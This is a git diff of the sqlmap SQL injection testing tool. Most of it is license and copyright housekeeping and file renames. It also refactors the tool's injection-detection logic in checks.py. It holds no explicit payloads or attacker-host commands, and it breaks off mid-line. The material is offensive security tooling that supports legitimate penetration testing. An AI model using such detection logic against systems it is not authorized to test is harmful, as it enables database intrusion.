codecs @@ -43,7 +43,7 @@ def updateMSSQLXML(): return - releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I | re.M) + releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I) releasesCount = len(releases) # Create the minidom document @@ -74,7 +74,7 @@ def updateMSSQLXML(): stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] - servicepackVersion = re.findall("[7\.0|2000|2005|2008|2008 R2]*(.*?)[\r]*\n", mssqlVersionsReleaseString, re.I | re.M) + servicepackVersion = re.findall("(7\.0|2000|2005|2008|2008 R2)*(.*?)[\r]*\n", mssqlVersionsReleaseString, re.I) for servicePack, version in servicepackVersion: if servicePack.startswith(" "): diff --git a/extra/runcmd/README.txt b/extra/runcmd/README.txt index 717800aa418..4d4caa8f8eb 100644 --- a/extra/runcmd/README.txt +++ b/extra/runcmd/README.txt @@ -1,3 +1,3 @@ -Files in this folder can be used to compile auxiliary program that can -be used for running command prompt commands skipping standard "cmd /c" way. -They are licensed under the terms of the GNU Lesser General Public License. +runcmd.exe is an auxiliary program that can be used for running command prompt +commands skipping standard "cmd /c" way. It is licensed under the terms of the +GNU Lesser General Public License. diff --git a/shell/runcmd.exe_ b/extra/runcmd/runcmd.exe_ similarity index 100% rename from shell/runcmd.exe_ rename to extra/runcmd/runcmd.exe_ diff --git a/extra/runcmd/windows/README.txt b/extra/runcmd/src/README.txt similarity index 100% rename from extra/runcmd/windows/README.txt rename to extra/runcmd/src/README.txt diff --git a/extra/runcmd/windows/runcmd.sln b/extra/runcmd/src/runcmd.sln similarity index 100% rename from extra/runcmd/windows/runcmd.sln rename to extra/runcmd/src/runcmd.sln diff --git a/extra/runcmd/windows/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp similarity index 100% rename from extra/runcmd/windows/runcmd/runcmd.cpp rename to extra/runcmd/src/runcmd/runcmd.cpp diff --git a/extra/runcmd/windows/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj similarity index 100% rename from extra/runcmd/windows/runcmd/runcmd.vcproj rename to extra/runcmd/src/runcmd/runcmd.vcproj diff --git a/extra/runcmd/windows/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp similarity index 100% rename from extra/runcmd/windows/runcmd/stdafx.cpp rename to extra/runcmd/src/runcmd/stdafx.cpp diff --git a/extra/runcmd/windows/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h similarity index 100% rename from extra/runcmd/windows/runcmd/stdafx.h rename to extra/runcmd/src/runcmd/stdafx.h diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/extra/safe2bin/__init__.py +++ b/extra/safe2bin/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index fe16fbce96e..19c9784a992 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -3,8 +3,8 @@ """ safe2bin.py - Simple safe(hex) to binary format converter -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index dc91d6b1f60..4edfb86be56 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,7 +1,7 @@ #!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py old mode 100644 new mode 100755 index ac5219a5d23..1795299b3de --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/pep8.sh b/extra/shutils/pep8.sh index 7abe562b5a0..5c15f54916d 100755 --- a/extra/shutils/pep8.sh +++ b/extra/shutils/pep8.sh @@ -1,7 +1,7 @@ #!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# See the file 'LICENSE' for copying permission # Runs pep8 on all python files (prerequisite: apt-get install pep8) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \; diff --git a/extra/shutils/postcommit-hook.sh b/extra/shutils/postcommit-hook.sh old mode 100644 new mode 100755 index a00d41db97f..77ed2824c80 --- a/extra/shutils/postcommit-hook.sh +++ b/extra/shutils/postcommit-hook.sh @@ -13,7 +13,7 @@ then NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") if [ -n "$NEW_TAG" ] then - git commit -am "Automatic monthly tagging" + #git commit -am "Automatic monthly tagging" echo "Creating new tag ${NEW_TAG}" git tag $NEW_TAG git push origin $NEW_TAG diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh old mode 100644 new mode 100755 index 3c2137ce239..c859236db51 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,21 +12,21 @@ CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 -if [ -f $SETTINGS_FULLPATH ] -then - LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') - declare -a LINE - INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") - if [ -n "$INCREMENTED" ] - then - sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH - echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" - else - echo "Something went wrong in VERSION increment" - exit 1 - fi - git add "$SETTINGS_FULLPATH" -fi +# if [ -f $SETTINGS_FULLPATH ] +# then +# LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') +# declare -a LINE +# INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") +# if [ -n "$INCREMENTED" ] +# then +# sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH +# echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" +# else +# echo "Something went wrong in VERSION increment" +# exit 1 +# fi +# git add "$SETTINGS_FULLPATH" +# fi truncate -s 0 "$CHECKSUM_FULLPATH" cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh new file mode 100755 index 00000000000..dbb0907ea3b --- /dev/null +++ b/extra/shutils/pydiatra.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission + +# Runs py2diatra on all python files (prerequisite: pip install pydiatra) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index 815b98e7c23..ac3cfd8c5ef 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,7 +1,7 @@ #!/bin/bash # Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py old mode 100644 new mode 100755 index f0b684322f8..e6b4753510a --- a/extra/shutils/pylint.py +++ b/extra/shutils/pylint.py @@ -20,11 +20,11 @@ def check(module): print "CHECKING ", module pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') for line in pout: - if re.match("\AE:", line): + if re.match(r"\AE:", line): print line.strip() if __RATING__ and "Your code has been rated at" in line: print line - score = re.findall("\d.\d\d", line)[0] + score = re.findall(r"\d.\d\d", line)[0] total += float(score) count += 1 diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh old mode 100644 new mode 100755 index 1ea35557fc0..dc82acbeb55 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -1,5 +1,10 @@ #!/bin/bash +if [ ! -f ~/.pypirc ]; then + echo "File ~/.pypirc is missing" + exit 1 +fi + declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) @@ -11,8 +16,8 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from setuptools import setup, find_packages @@ -55,8 +60,8 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -107,7 +112,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the :: - git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with `Python `__ version **2.6.x** and @@ -132,7 +137,7 @@ You can find a sample run `here `__. To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the `user's -manual `__. +manual `__. Links ----- @@ -147,12 +152,6 @@ Links - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- Mailing list subscription: - https://lists.sourceforge.net/lists/listinfo/sqlmap-users -- Mailing list RSS feed: - http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -- Mailing list archive: - http://news.gmane.org/gmane.comp.security.sqlmap - Twitter: [@sqlmap](https://twitter.com/sqlmap) - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots @@ -162,7 +161,7 @@ Links .. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg - :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING + :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE .. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg :target: https://twitter.com/sqlmap diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py old mode 100644 new mode 100755 index 975edab4247..6ff94d15621 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission import codecs import inspect @@ -40,7 +40,7 @@ def prepare_email(content): msg = MIMEMultipart() msg["Subject"] = SUBJECT msg["From"] = FROM - msg["To"] = TO if isinstance(TO, basestring) else ",".join(TO) + msg["To"] = TO if isinstance(TO, basestring) else ','.join(TO) msg.attach(MIMEText(content)) @@ -83,7 +83,7 @@ def main(): if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) + failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) for failed_test in failed_tests: title = failed_test[0] diff --git a/extra/shutils/strip.sh b/extra/shutils/strip.sh old mode 100644 new mode 100755 diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/extra/sqlharvest/__init__.py +++ b/extra/sqlharvest/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py index 289d385d243..7c7aa56ed93 100644 --- a/extra/sqlharvest/sqlharvest.py +++ b/extra/sqlharvest/sqlharvest.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import cookielib diff --git a/lib/__init__.py b/lib/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/controller/action.py b/lib/controller/action.py index a8392671245..a05e8f7f4ed 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.controller.handler import setHandler @@ -16,8 +16,8 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists +from lib.utils.brute import columnExists +from lib.utils.brute import tableExists def action(): """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ab020b93ca5..7af2e01ea57 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,16 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import copy import httplib +import logging +import os import random import re import socket import subprocess +import tempfile import time from extra.beep.beep import beep @@ -20,6 +23,7 @@ from lib.core.common import extractTextTagContent from lib.core.common import findDynamicContent from lib.core.common import Format +from lib.core.common import getFilteredPageContent from lib.core.common import getLastRequestHTTPError from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString @@ -29,6 +33,7 @@ from lib.core.common import hashDBWrite from lib.core.common import intersect from lib.core.common import listToStrValue +from lib.core.common import openFile from lib.core.common import parseFilePaths from lib.core.common import popValue from lib.core.common import pushValue @@ -38,6 +43,7 @@ from lib.core.common import showStaticWords from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue from lib.core.common import urlencode from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError @@ -54,6 +60,7 @@ from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import NOTE from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD @@ -62,8 +69,13 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH +from lib.core.settings import CHECK_INTERNET_ADDRESS +from lib.core.settings import CHECK_INTERNET_VALUE from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS @@ -98,6 +110,9 @@ def checkSqlInjection(place, parameter, value): if value.isdigit(): kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) boundaries = kb.cache.intBoundaries + elif value.isalpha(): + kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) + boundaries = kb.cache.alphaBoundaries else: boundaries = conf.boundaries @@ -124,7 +139,7 @@ def checkSqlInjection(place, parameter, value): # then attempt to identify with a simple DBMS specific boolean-based # test what the DBMS may be if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: - if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None: + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: kb.heuristicDbms = heuristicCheckDbms(injection) # If the DBMS has already been fingerprinted (via DBMS-specific @@ -135,7 +150,7 @@ def checkSqlInjection(place, parameter, value): SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" - kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else [] + kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] # If the DBMS has been fingerprinted (via DBMS-specific error # message, via simple heuristic check or via DBMS-specific @@ -150,7 +165,7 @@ def checkSqlInjection(place, parameter, value): msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" - kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else [] + kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] title = test.title kb.testType = stype = test.stype @@ -158,6 +173,13 @@ def checkSqlInjection(place, parameter, value): unionExtended = False trueCode, falseCode = None, None + if conf.httpCollector is not None: + conf.httpCollector.setExtendedArguments({ + "_title": title, + "_place": place, + "_parameter": parameter, + }) + if stype == PAYLOAD.TECHNIQUE.UNION: configUnion(test.request.char) @@ -241,26 +263,32 @@ def checkSqlInjection(place, parameter, value): if payloadDbms is not None: # Skip DBMS-specific test if it does not match the user's # provided DBMS - if conf.dbms is not None and not intersect(payloadDbms, conf.dbms, True): + if conf.dbms and not intersect(payloadDbms, conf.dbms, True): + debugMsg = "skipping test '%s' because " % title + debugMsg += "its declared DBMS is different than provided" + logger.debug(debugMsg) + continue + + if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True): debugMsg = "skipping test '%s' because " % title - debugMsg += "the provided DBMS is %s" % conf.dbms + debugMsg += "its declared DBMS is different than provided" logger.debug(debugMsg) continue # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific payload) - if injection.dbms is not None and not intersect(payloadDbms, injection.dbms, True): - debugMsg = "skipping test '%s' because the identified " % title - debugMsg += "back-end DBMS is %s" % injection.dbms + if injection.dbms and not intersect(payloadDbms, injection.dbms, True): + debugMsg = "skipping test '%s' because " % title + debugMsg += "its declared DBMS is different than identified" logger.debug(debugMsg) continue # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific error message) if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): - debugMsg = "skipping test '%s' because the parsed " % title - debugMsg += "error message(s) showed that the back-end DBMS " - debugMsg += "could be %s" % Format.getErrorParsedDBMSes() + debugMsg = "skipping test '%s' because the heuristic " % title + debugMsg += "tests showed that the back-end DBMS " + debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests) logger.debug(debugMsg) continue @@ -478,6 +506,31 @@ def genCmpPayload(): injectable = True + elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) + trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) + falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) + + if threadData.lastErrorPage and threadData.lastErrorPage[1]: + errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n")) + else: + errorSet = set() + + if originalSet == trueSet != falseSet: + candidates = trueSet - falseSet - errorSet + + if candidates: + candidates = sorted(candidates, key=lambda _: len(_)) + for candidate in candidates: + if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: + conf.string = candidate + injectable = True + + infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) + logger.info(infoMsg) + + break + if injectable: if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode: @@ -492,7 +545,13 @@ def genCmpPayload(): falseSet = set(extractTextTagContent(falseRawResponse)) falseSet = falseSet.union(__ for _ in falseSet for __ in _.split()) - candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet))) + if threadData.lastErrorPage and threadData.lastErrorPage[1]: + errorSet = set(extractTextTagContent(threadData.lastErrorPage[1])) + errorSet = errorSet.union(__ for _ in errorSet for __ in _.split()) + else: + errorSet = set() + + candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))) if candidates: candidates = sorted(candidates, key=lambda _: len(_)) @@ -528,14 +587,11 @@ def genCmpPayload(): # Perform the test's request and grep the response # body for the test's regular expression try: - page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False) + page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, listToStrValue( \ - [headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \ - if headers else None), re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, threadData.lastRedirectMsg[1] \ - if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ - threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) + or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \ + or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \ + or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: result = output == "1" @@ -585,13 +641,16 @@ def genCmpPayload(): configUnion(test.request.char, test.request.columns) - if not Backend.getIdentifiedDbms(): + if len(kb.dbmsFilter or []) == 1: + Backend.forceDbms(kb.dbmsFilter[0]) + elif not Backend.getIdentifiedDbms(): if kb.heuristicDbms is None: - warnMsg = "using unescaped version of the test " - warnMsg += "because of zero knowledge of the " - warnMsg += "back-end DBMS. You can try to " - warnMsg += "explicitly set it with option '--dbms'" - singleTimeWarnMessage(warnMsg) + if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data: + warnMsg = "using unescaped version of the test " + warnMsg += "because of zero knowledge of the " + warnMsg += "back-end DBMS. You can try to " + warnMsg += "explicitly set it with option '--dbms'" + singleTimeWarnMessage(warnMsg) else: Backend.forceDbms(kb.heuristicDbms) @@ -609,7 +668,8 @@ def genCmpPayload(): msg += "extended UNION tests if there is not " msg += "at least one other (potential) " msg += "technique found. Do you want to skip? [Y/n] " - kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N' + + kb.futileUnion = not readInput(msg, default='Y', boolean=True) if kb.futileUnion is False: continue @@ -715,26 +775,31 @@ def genCmpPayload(): warnMsg = "user aborted during detection phase" logger.warn(warnMsg) - msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" - choice = readInput(msg, default="S", checkBatch=False) + if conf.multipleTargets: + msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" + choice = readInput(msg, default='T', checkBatch=False).upper() + else: + msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" + choice = readInput(msg, default='S', checkBatch=False).upper() - if choice[0] in ("s", "S"): - pass - elif choice[0] in ("c", "C"): + if choice == 'X': + if conf.multipleTargets: + raise SqlmapSkipTargetException + elif choice == 'C': choice = None while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): if choice: logger.warn("invalid value") msg = "enter new verbosity level: [0-6] " - choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip() + choice = readInput(msg, default=str(conf.verbose), checkBatch=False) conf.verbose = int(choice) setVerbosity() tests.insert(0, test) - elif choice[0] in ("n", "N"): + elif choice == 'N': return None - elif choice[0] in ("e", "E"): + elif choice == 'E': kb.endDetection = True - elif choice[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException finally: @@ -797,6 +862,8 @@ def heuristicCheckDbms(injection): infoMsg += "could be '%s' " % retVal logger.info(infoMsg) + kb.heuristicExtendedDbms = retVal + return retVal def checkFalsePositives(injection): @@ -868,7 +935,7 @@ def checkSuhosinPatch(injection): if injection.place == PLACE.GET: debugMsg = "checking for parameter length " - debugMsg += "constrainting mechanisms" + debugMsg += "constraining mechanisms" logger.debug(debugMsg) pushValue(kb.injection) @@ -877,7 +944,7 @@ def checkSuhosinPatch(injection): randInt = randomInt() if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): - warnMsg = "parameter length constrainting " + warnMsg = "parameter length constraining " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" logger.warn(warnMsg) @@ -939,7 +1006,7 @@ def heuristicCheckSqlInjection(place, parameter): payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) - page, _ = Request.queryPage(payload, place, content=True, raise404=False) + page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.heuristicPage = page kb.heuristicMode = False @@ -977,7 +1044,7 @@ def _(page): if kb.ignoreCasted is None: message = "do you want 